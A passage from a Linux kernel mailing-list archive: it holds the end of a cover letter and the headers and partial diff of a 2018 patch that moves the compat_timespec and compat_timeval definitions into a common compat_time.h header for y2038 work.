config LEGACY_TIME_SYSCALLS
     def_bool 64BIT || !64BIT_TIME

will not include compat_sys_nanosleep. We will instead need a new config to
exclusively mark legacy syscalls.

Deepa Dinamani (10):
  compat: Make compat helpers independent of CONFIG_COMPAT
  include: Move compat_timespec/ timeval to compat_time.h
  compat: enable compat_get/put_timespec64 always
  arch: introduce CONFIG_64BIT_TIME
  arch: Introduce CONFIG_COMPAT_32BIT_TIME
  posix-clocks: Make compat syscalls depend on CONFIG_COMPAT_32BIT_TIME
  include: Add new y2038 safe __kernel_timespec
  fix get_timespec64() for y2038 safe compat interfaces
  change time types to new y2038 safe __kernel_* types
  nanosleep: change time types to safe __kernel_* types

 arch/Kconfig                           | 15 +++++++++
 arch/arm64/include/asm/compat.h        | 11 -------
 arch/arm64/include/asm/stat.h          |  1 +
 arch/arm64/kernel/hw_breakpoint.c      |  1 -
 arch/arm64/kernel/perf_regs.c          |  2 +-
 arch/mips/include/asm/compat.h         | 11 -------
 arch/mips/kernel/signal32.c            |  2 +-
 arch/parisc/include/asm/compat.h       | 11 -------
 arch/powerpc/include/asm/compat.h      | 11 -------
 arch/powerpc/kernel/asm-offsets.c      |  2 +-
 arch/powerpc/oprofile/backtrace.c      |  1 +
 arch/s390/hypfs/hypfs_sprp.c           |  1 -
 arch/s390/include/asm/compat.h         | 11 -------
 arch/s390/include/asm/elf.h            |  4 +--
 arch/s390/kvm/priv.c                   |  1 -
 arch/s390/pci/pci_clp.c                |  1 -
 arch/sparc/include/asm/compat.h        | 11 -------
 arch/tile/include/asm/compat.h         | 11 -------
 arch/x86/events/core.c                 |  2 +-
 arch/x86/include/asm/compat.h          | 11 -------
 arch/x86/include/asm/ftrace.h          |  2 +-
 arch/x86/include/asm/sys_ia32.h        |  2 +-
 arch/x86/kernel/sys_x86_64.c           |  2 +-
 drivers/s390/block/dasd_ioctl.c        |  1 -
 drivers/s390/char/fs3270.c             |  1 -
 drivers/s390/char/sclp_ctl.c           |  1 -
 drivers/s390/char/vmcp.c               |  1 -
 drivers/s390/cio/chsc_sch.c            |  1 -
 drivers/s390/net/qeth_core_main.c      |  2 +-
 include/linux/compat.h                 | 11 ++++---
 include/linux/compat_time.h            | 23 ++++++++++++++
 include/linux/restart_block.h          |  7 ++--
 include/linux/syscalls.h               | 12 +++----
 include/linux/time.h                   |  4 +--
 include/linux/time64.h                 | 10 +++++-
 include/uapi/asm-generic/posix_types.h |  1 +
 include/uapi/linux/time.h              |  7 ++++
 kernel/compat.c                        | 52 +++++-------------------------
 kernel/time/hrtimer.c                  | 10 ++++--
 kernel/time/posix-stubs.c              | 12 ++++---
 kernel/time/posix-timers.c             | 24 ++++++++++----
 kernel/time/time.c                     | 58 +++++++++++++++++++++++++++++++---
 42 files changed, 177 insertions(+), 188 deletions(-)
 create mode 100644 include/linux/compat_time.h


base-commit: 61530b14b059d4838dcc2186e9de9d57e195ce55
-- 
2.14.1

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org

From - Thu Nov 08 21:41:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.ports.mips.general,gmane.linux.ports.sparc,gmane.linux.kernel.year-2038,gmane.linux.oprofile,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 02/10] include: Move compat_timespec/ timeval to
 compat_time.h
Date: Tue, 13 Mar 2018 21:03:25 -0700
Lines: 657
Approved: news@gmane.org
Message-ID: <20180314040333.3291-3-deepa.kernel@gmail.com>
References: <20180314040333.3291-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521000187 28086 195.159.176.226 (14 Mar 2018 04:03:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 14 Mar 2018 04:03:07 +0000 (UTC)
Cc: mark.rutland@arm.com, linux-mips@linux-mips.org, peterz@infradead.org,
 benh@kernel.crashing.org, heiko.carstens@de.ibm.com, paulus@samba.org,
 hpa@zytor.com, sparclinux@vger.kernel.org, devel@driverdev.osuosl.org,
 linux-s390@vger.kernel.org, y2038@lists.linaro.org, mpe@ellerman.id.au,
 deller@gmx.de, x86@kernel.org, sebott@linux.vnet.ibm.com,
 jejb@parisc-linux.org, will.deacon@arm.com, borntraeger@de.ibm.com,
 mingo@redhat.com, oprofile-list@lists.sf.net, catalin.marinas@arm.com,
 rric@kernel.org, cmetcalf@mellanox.com, oberpar@linux.vnet.ibm.com,
 acme@kernel.org, jwi@linux.vnet.ibm.com, rostedt@goodmis.org,
 ubraun@linux.vnet.ibm.com, gerald.schaefer@de.ibm.com,
 linux-parisc@vger.kernel.org, gregkh@linuxfoundation.org, cohuck@redhat.com,
 linux-kernel@vger.kernel.org, ralf@linux-mips.org, hoeppner@linux.vnet.ibm.com,
 sth@linux.vnet.ibm.com, schwidefsky@de.ibm.com, linuxppc-dev
To: arnd@arndb.de,
	tglx@linutronix.de,
	john.stultz@linaro.org
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Wed Mar 14 05:02:59 2018
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp3.osuosl.org ([140.211.166.136] helo=silver.osuosl.org)
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1evxcw-00074k-RV
	for glddd-devel@m.gmane.org; Wed, 14 Mar 2018 05:02:59 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by silver.osuosl.org (Postfix) with ESMTP id 027782271A;
	Wed, 14 Mar 2018 04:05:05 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from silver.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id m1lMScQ-iYKa; Wed, 14 Mar 2018 04:05:02 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by silver.osuosl.org (Postfix) with ESMTP id 56D1A22717;
	Wed, 14 Mar 2018 04:05:02 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from whitealder.osuosl.org (smtp1.osuosl.org [140.211.166.138])
 by ash.osuosl.org (Postfix) with ESMTP id CB93C1C24AE
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 04:05:01 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by whitealder.osuosl.org (Postfix) with ESMTP id C763688371
 for <devel@linuxdriverproject.org>; Wed, 14 Mar 2018 04:05:01 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from whitealder.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id opc3JNv2wOnp for <devel@linuxdriverproject.org>;
 Wed, 14 Mar 2018 04:05:00 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mail-pl0-f68.google.com (mail-pl0-f68.google.com
 [209.85.160.68])
 by whitealder.osuosl.org (Postfix) with ESMTPS id 3AD4788364
 for <devel@driverdev.osuosl.org>; Wed, 14 Mar 2018 04:05:00 +0000 (UTC)
Original-Received: by mail-pl0-f68.google.com with SMTP id ay1-v6so1069808plb.7
 for <devel@driverdev.osuosl.org>; Tue, 13 Mar 2018 21:05:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=from:to:cc:subject:date:message-id:in-reply-to:references;
 bh=GDexjQ7vsBqZwnnGfdX5nI4fwgcdqyj6ZBr2rKbEGPs=;
 b=ecTI4u7LVpCJZFQFGS3e/570pWj60sCwiGWdgcbxUZ7Yb4jpd6ph3sKm5zhQB4tVqB
 7x/FWg5F0EFWMa9Keb1Fzxs6RiRNFwW5YnTnkc2AuU32sX8mxqmYot7LJ97tnWBfBwlN
 y2CpHIMWvwHe4lnXnHrpWPJSlnUcnF8StDmFsIixpGINOCYV2ESUfSpsKojVVzmJ2GOO
 i/wlRJUpGLuV/Uj2lS+kZnIGF2fsHeDE5wp3cAkEUfsY3JdQE0hvkFNDHTkrE9HB2j5V
 vL4aWsBRyWOrVTP4HHf0rCUYqG7mupUTGMtAqsryMnT05B4WZLoogNUJ9ejnnSfOg5/A
 yC0g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
 :references;
 bh=GDexjQ7vsBqZwnnGfdX5nI4fwgcdqyj6ZBr2rKbEGPs=;
 b=G7Z+24b/aJ9orHWgQgX1ymdyThiQr7iwSheaIhEYXoj4COvAWXsL2FPVR2QTZUC3zZ
 6M+QHleaHOw/NfC1lbuMWZruAUetwpGeAsKrwHXijvot5YDVlnLdYfCj4QmZyRlICZND
 T6H45KIRMOHEuaiR75ZOJlYoNEOQzEUjb9cDuNl78g6s7odIjfGta8oEc7Rs8LSVI8GK
 7XKdRUOMiKKmUKCHxkecG1od8mlB+wV+lT8uls4RhUkOM5lM15p42pK4kLQhdRqqtwmh
 xd6nPIuTXFjNvKvXHDFcjFt0edMAM2w19sw10CT3RKEx/uEwjU/pdA3cH7CVmALsSvdu
 Mm6w==
X-Gm-Message-State: AElRT7EmEVJAUTXtvnVZA+tDoPUTTEGkzK8zO6tyVu45TpLqkFA+CTuv
 QF2rvnFsg7ukg8cw53CzyC8=
X-Google-Smtp-Source: AG47ELvo3IHAeLrRx6+tvqIpfmATWLLBnsyfwMT/uf+Jz+QqnvO9csujuXb4yv1AyGESANlZqAcjfw==
X-Received: by 2002:a17:902:b904:: with SMTP id
 bf4-v6mr2625613plb.195.1521000299727; 
 Tue, 13 Mar 2018 21:04:59 -0700 (PDT)
Original-Received: from deepa-ubuntu.lan (c-67-170-212-194.hsd1.ca.comcast.net.
 [67.170.212.194])
 by smtp.gmail.com with ESMTPSA id c18sm2663773pfd.100.2018.03.13.21.04.57
 (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
 Tue, 13 Mar 2018 21:04:59 -0700 (PDT)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20180314040333.3291-1-deepa.kernel@gmail.com>
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.24
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
Original-Sender: "devel" <driverdev-devel-bounces@linuxdriverproject.org>
Xref: news.gmane.org gmane.linux.drivers.driver-project.devel:114402 gmane.linux.ports.mips.general:64018 gmane.linux.ports.sparc:27415 gmane.linux.kernel.year-2038:2545 gmane.linux.oprofile:13170 gmane.linux.ports.parisc:28322 gmane.linux.kernel:2713138 gmane.linux.ports.ppc64.devel:154369
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.driver-project.devel/114402>

All the current architecture specific defines for these
are the same. Refactor these common defines to a common
header file.

The new common linux/compat_time.h is also useful as it
will eventually be used to hold all the defines that
are needed for compat time types that support non y2038
safe types. New architectures need not have to define these
new types as they will only use new y2038 safe syscalls.
This file can be deleted after y2038 when we stop supporting
non y2038 safe syscalls.

The patch also requires an operation similar to:

git grep "asm/compat\.h" | cut -d ":" -f 1 |  xargs -n 1 sed -i -e "s%asm/compat.h%linux/compat.h%g"

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Deepa Dinamani <deepa.kernel@gmail.com>
Acked-by: Steven Rostedt (VMware) <rostedt@goodmis.org>
Acked-by: Catalin Marinas <catalin.marinas@arm.com>
Acked-by: James Hogan <jhogan@kernel.org>
Acked-by: Helge Deller <deller@gmx.de>
---
 arch/arm64/include/asm/compat.h   | 11 -----------
 arch/arm64/include/asm/stat.h     |  1 +
 arch/arm64/kernel/hw_breakpoint.c |  1 -
 arch/arm64/kernel/perf_regs.c     |  2 +-
 arch/mips/include/asm/compat.h    | 11 -----------
 arch/mips/kernel/signal32.c       |  2 +-
 arch/parisc/include/asm/compat.h  | 11 -----------
 arch/powerpc/include/asm/compat.h | 11 -----------
 arch/powerpc/kernel/asm-offsets.c |  2 +-
 arch/powerpc/oprofile/backtrace.c |  1 +
 arch/s390/hypfs/hypfs_sprp.c      |  1 -
 arch/s390/include/asm/compat.h    | 11 -----------
 arch/s390/include/asm/elf.h       |  4 ++--
 arch/s390/kvm/priv.c              |  1 -
 arch/s390/pci/pci_clp.c           |  1 -
 arch/sparc/include/asm/compat.h   | 11 -----------
 arch/tile/include/asm/compat.h    | 11 -----------
 arch/x86/events/core.c            |  2 +-
 arch/x86/include/asm/compat.h     | 11 -----------
 arch/x86/include/asm/ftrace.h     |  2 +-
 arch/x86/include/asm/sys_ia32.h   |  2 +-
 arch/x86/kernel/sys_x86_64.c      |  2 +-
 drivers/s390/block/dasd_ioctl.c   |  1 -
 drivers/s390/char/fs3270.c        |  1 -
 drivers/s390/char/sclp_ctl.c      |  1 -
 drivers/s390/char/vmcp.c          |  1 -
 drivers/s390/cio/chsc_sch.c       |  1 -
 drivers/s390/net/qeth_core_main.c |  2 +-
 include/linux/compat.h            |  1 +
 include/linux/compat_time.h       | 19 +++++++++++++++++++
 30 files changed, 32 insertions(+), 107 deletions(-)
 create mode 100644 include/linux/compat_time.h

diff --git a/arch/arm64/include/asm/compat.h b/arch/arm64/include/asm/compat.h
index c00c62e1a4a3..0030f79808b3 100644
--- a/arch/arm64/include/asm/compat.h
+++ b/arch/arm64/include/asm/compat.h
@@ -34,7 +34,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -66,16 +65,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 #ifdef __AARCH64EB__
 	short		st_dev;
diff --git a/arch/arm64/include/asm/stat.h b/arch/arm64/include/asm/stat.h
index 15e35598ac40..eab738019707 100644
--- a/arch/arm64/include/asm/stat.h
+++ b/arch/arm64/include/asm/stat.h
@@ -20,6 +20,7 @@
 
 #ifdef CONFIG_COMPAT
 
+#include <linux/compat_time.h>
 #include <asm/compat.h>
 
 /*
diff --git a/arch/arm64/kernel/hw_breakpoint.c b/arch/arm64/kernel/hw_breakpoint.c
index 74bb56f656ef..413dbe530da8 100644
--- a/arch/arm64/kernel/hw_breakpoint.c
+++ b/arch/arm64/kernel/hw_breakpoint.c
@@ -30,7 +30,6 @@
 #include <linux/smp.h>
 #include <linux/uaccess.h>
 
-#include <asm/compat.h>
 #include <asm/current.h>
 #include <asm/debug-monitors.h>
 #include <asm/hw_breakpoint.h>
diff --git a/arch/arm64/kernel/perf_regs.c b/arch/arm64/kernel/perf_regs.c
index 1d091d048d04..0bbac612146e 100644
--- a/arch/arm64/kernel/perf_regs.c
+++ b/arch/arm64/kernel/perf_regs.c
@@ -1,11 +1,11 @@
 // SPDX-License-Identifier: GPL-2.0
+#include <linux/compat.h>
 #include <linux/errno.h>
 #include <linux/kernel.h>
 #include <linux/perf_event.h>
 #include <linux/bug.h>
 #include <linux/sched/task_stack.h>
 
-#include <asm/compat.h>
 #include <asm/perf_regs.h>
 #include <asm/ptrace.h>
 
diff --git a/arch/mips/include/asm/compat.h b/arch/mips/include/asm/compat.h
index 9a0fa66b81ac..3e548ee99a2f 100644
--- a/arch/mips/include/asm/compat.h
+++ b/arch/mips/include/asm/compat.h
@@ -14,7 +14,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_suseconds_t;
 
@@ -46,16 +45,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	s32		st_pad1[3];
diff --git a/arch/mips/kernel/signal32.c b/arch/mips/kernel/signal32.c
index c4db910a8794..b5d9e1784aff 100644
--- a/arch/mips/kernel/signal32.c
+++ b/arch/mips/kernel/signal32.c
@@ -8,13 +8,13 @@
  * Copyright (C) 1999, 2000 Silicon Graphics, Inc.
  * Copyright (C) 2016, Imagination Technologies Ltd.
  */
+#include <linux/compat.h>
 #include <linux/compiler.h>
 #include <linux/errno.h>
 #include <linux/kernel.h>
 #include <linux/signal.h>
 #include <linux/syscalls.h>
 
-#include <asm/compat.h>
 #include <asm/compat-signal.h>
 #include <linux/uaccess.h>
 #include <asm/unistd.h>
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index c22db5323244..6f256e7b95e3 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -13,7 +13,6 @@
 
 typedef u32	compat_size_t;
 typedef s32	compat_ssize_t;
-typedef s32	compat_time_t;
 typedef s32	compat_clock_t;
 typedef s32	compat_pid_t;
 typedef u32	__compat_uid_t;
@@ -40,16 +39,6 @@ typedef u32	compat_ulong_t;
 typedef u64	compat_u64;
 typedef u32	compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t		tv_sec;
-	s32			tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t		tv_sec;
-	s32			tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t		st_dev;	/* dev_t is 32 bits on parisc */
 	compat_ino_t		st_ino;	/* 32 bits */
diff --git a/arch/powerpc/include/asm/compat.h b/arch/powerpc/include/asm/compat.h
index 62168e1158f1..b4773c81f7d5 100644
--- a/arch/powerpc/include/asm/compat.h
+++ b/arch/powerpc/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u32		__compat_uid_t;
@@ -45,16 +44,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/powerpc/kernel/asm-offsets.c b/arch/powerpc/kernel/asm-offsets.c
index ea5eb91b836e..4a314620344f 100644
--- a/arch/powerpc/kernel/asm-offsets.c
+++ b/arch/powerpc/kernel/asm-offsets.c
@@ -13,6 +13,7 @@
  * 2 of the License, or (at your option) any later version.
  */
 
+#include <linux/compat.h>
 #include <linux/signal.h>
 #include <linux/sched.h>
 #include <linux/kernel.h>
@@ -42,7 +43,6 @@
 #include <asm/paca.h>
 #include <asm/lppaca.h>
 #include <asm/cache.h>
-#include <asm/compat.h>
 #include <asm/mmu.h>
 #include <asm/hvcall.h>
 #include <asm/xics.h>
diff --git a/arch/powerpc/oprofile/backtrace.c b/arch/powerpc/oprofile/backtrace.c
index ecc66d5f02c9..ad054dd0d666 100644
--- a/arch/powerpc/oprofile/backtrace.c
+++ b/arch/powerpc/oprofile/backtrace.c
@@ -7,6 +7,7 @@
  * 2 of the License, or (at your option) any later version.
 **/
 
+#include <linux/compat_time.h>
 #include <linux/oprofile.h>
 #include <linux/sched.h>
 #include <asm/processor.h>
diff --git a/arch/s390/hypfs/hypfs_sprp.c b/arch/s390/hypfs/hypfs_sprp.c
index ae0ed8dd5f1b..5d85a039391c 100644
--- a/arch/s390/hypfs/hypfs_sprp.c
+++ b/arch/s390/hypfs/hypfs_sprp.c
@@ -13,7 +13,6 @@
 #include <linux/string.h>
 #include <linux/types.h>
 #include <linux/uaccess.h>
-#include <asm/compat.h>
 #include <asm/diag.h>
 #include <asm/sclp.h>
 #include "hypfs.h"
diff --git a/arch/s390/include/asm/compat.h b/arch/s390/include/asm/compat.h
index 9830fb6b076e..501aaff85304 100644
--- a/arch/s390/include/asm/compat.h
+++ b/arch/s390/include/asm/compat.h
@@ -53,7 +53,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -97,16 +96,6 @@ typedef struct {
 	u32 gprs_high[NUM_GPRS];
 } s390_compat_regs_high;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/s390/include/asm/elf.h b/arch/s390/include/asm/elf.h
index 1a61b1b997f2..7d22a474a040 100644
--- a/arch/s390/include/asm/elf.h
+++ b/arch/s390/include/asm/elf.h
@@ -125,8 +125,9 @@
  * ELF register definitions..
  */
 
+#include <linux/compat.h>
+
 #include <asm/ptrace.h>
-#include <asm/compat.h>
 #include <asm/syscall.h>
 #include <asm/user.h>
 
@@ -136,7 +137,6 @@ typedef s390_regs elf_gregset_t;
 typedef s390_fp_regs compat_elf_fpregset_t;
 typedef s390_compat_regs compat_elf_gregset_t;
 
-#include <linux/compat.h>
 #include <linux/sched/mm.h>	/* for task_struct */
 #include <asm/mmu_context.h>
 
diff --git a/arch/s390/kvm/priv.c b/arch/s390/kvm/priv.c
index ebfa0442e569..a3bce0e84346 100644
--- a/arch/s390/kvm/priv.c
+++ b/arch/s390/kvm/priv.c
@@ -26,7 +26,6 @@
 #include <asm/gmap.h>
 #include <asm/io.h>
 #include <asm/ptrace.h>
-#include <asm/compat.h>
 #include <asm/sclp.h>
 #include "gaccess.h"
 #include "kvm-s390.h"
diff --git a/arch/s390/pci/pci_clp.c b/arch/s390/pci/pci_clp.c
index 93cd0f1ca12b..19b2d2a9b43d 100644
--- a/arch/s390/pci/pci_clp.c
+++ b/arch/s390/pci/pci_clp.c
@@ -19,7 +19,6 @@
 #include <linux/uaccess.h>
 #include <asm/pci_debug.h>
 #include <asm/pci_clp.h>
-#include <asm/compat.h>
 #include <asm/clp.h>
 #include <uapi/asm/clp.h>
 
diff --git a/arch/sparc/include/asm/compat.h b/arch/sparc/include/asm/compat.h
index 615283e16f22..844a89739e76 100644
--- a/arch/sparc/include/asm/compat.h
+++ b/arch/sparc/include/asm/compat.h
@@ -11,7 +11,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -39,16 +38,6 @@ typedef u32		compat_ulong_t;
 typedef u64		compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	compat_ino_t	st_ino;
diff --git a/arch/tile/include/asm/compat.h b/arch/tile/include/asm/compat.h
index 769ff6ac0bf5..06188e0da2de 100644
--- a/arch/tile/include/asm/compat.h
+++ b/arch/tile/include/asm/compat.h
@@ -29,7 +29,6 @@ typedef u32		compat_ulong_t;
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
 typedef s32		compat_off_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef u32		compat_ino_t;
 typedef u32		compat_caddr_t;
@@ -59,16 +58,6 @@ typedef unsigned long compat_elf_greg_t;
 #define COMPAT_ELF_NGREG (sizeof(struct pt_regs) / sizeof(compat_elf_greg_t))
 typedef compat_elf_greg_t compat_elf_gregset_t[COMPAT_ELF_NGREG];
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 #define compat_stat stat
 #define compat_statfs statfs
 
diff --git a/arch/x86/events/core.c b/arch/x86/events/core.c
index 140d33288e78..6b8961912781 100644
--- a/arch/x86/events/core.c
+++ b/arch/x86/events/core.c
@@ -2391,7 +2391,7 @@ static unsigned long get_segment_base(unsigned int segment)
 
 #ifdef CONFIG_IA32_EMULATION
 
-#include <asm/compat.h>
+#include <linux/compat.h>
 
 static inline int
 perf_callchain_user32(struct pt_regs *regs, struct perf_callchain_entry_ctx *entry)
diff --git a/arch/x86/include/asm/compat.h b/arch/x86/include/asm/compat.h
index e1c8dab86670..7cd314b71c51 100644
--- a/arch/x86/include/asm/compat.h
+++ b/arch/x86/include/asm/compat.h
@@ -17,7 +17,6 @@
 
 typedef u32		compat_size_t;
 typedef s32		compat_ssize_t;
-typedef s32		compat_time_t;
 typedef s32		compat_clock_t;
 typedef s32		compat_pid_t;
 typedef u16		__compat_uid_t;
@@ -46,16 +45,6 @@ typedef u32		compat_u32;
 typedef u64 __attribute__((aligned(4))) compat_u64;
 typedef u32		compat_uptr_t;
 
-struct compat_timespec {
-	compat_time_t	tv_sec;
-	s32		tv_nsec;
-};
-
-struct compat_timeval {
-	compat_time_t	tv_sec;
-	s32		tv_usec;
-};
-
 struct compat_stat {
 	compat_dev_t	st_dev;
 	u16		__pad1;
diff --git a/arch/x86/include/asm/ftrace.h b/arch/x86/include/asm/ftrace.h
index 09ad88572746..db25aa15b705 100644
--- a/arch/x86/include/asm/ftrace.h
+++ b/arch/x86/include/asm/ftrace.h
@@ -49,7 +49,7 @@ int ftrace_int3_handler(struct pt_regs *regs);
 #if !defined(__ASSEMBLY__) && !defined(COMPILE_OFFSETS)
 
 #if defined(CONFIG_FTRACE_SYSCALLS) && defined(CONFIG_IA32_EMULATION)
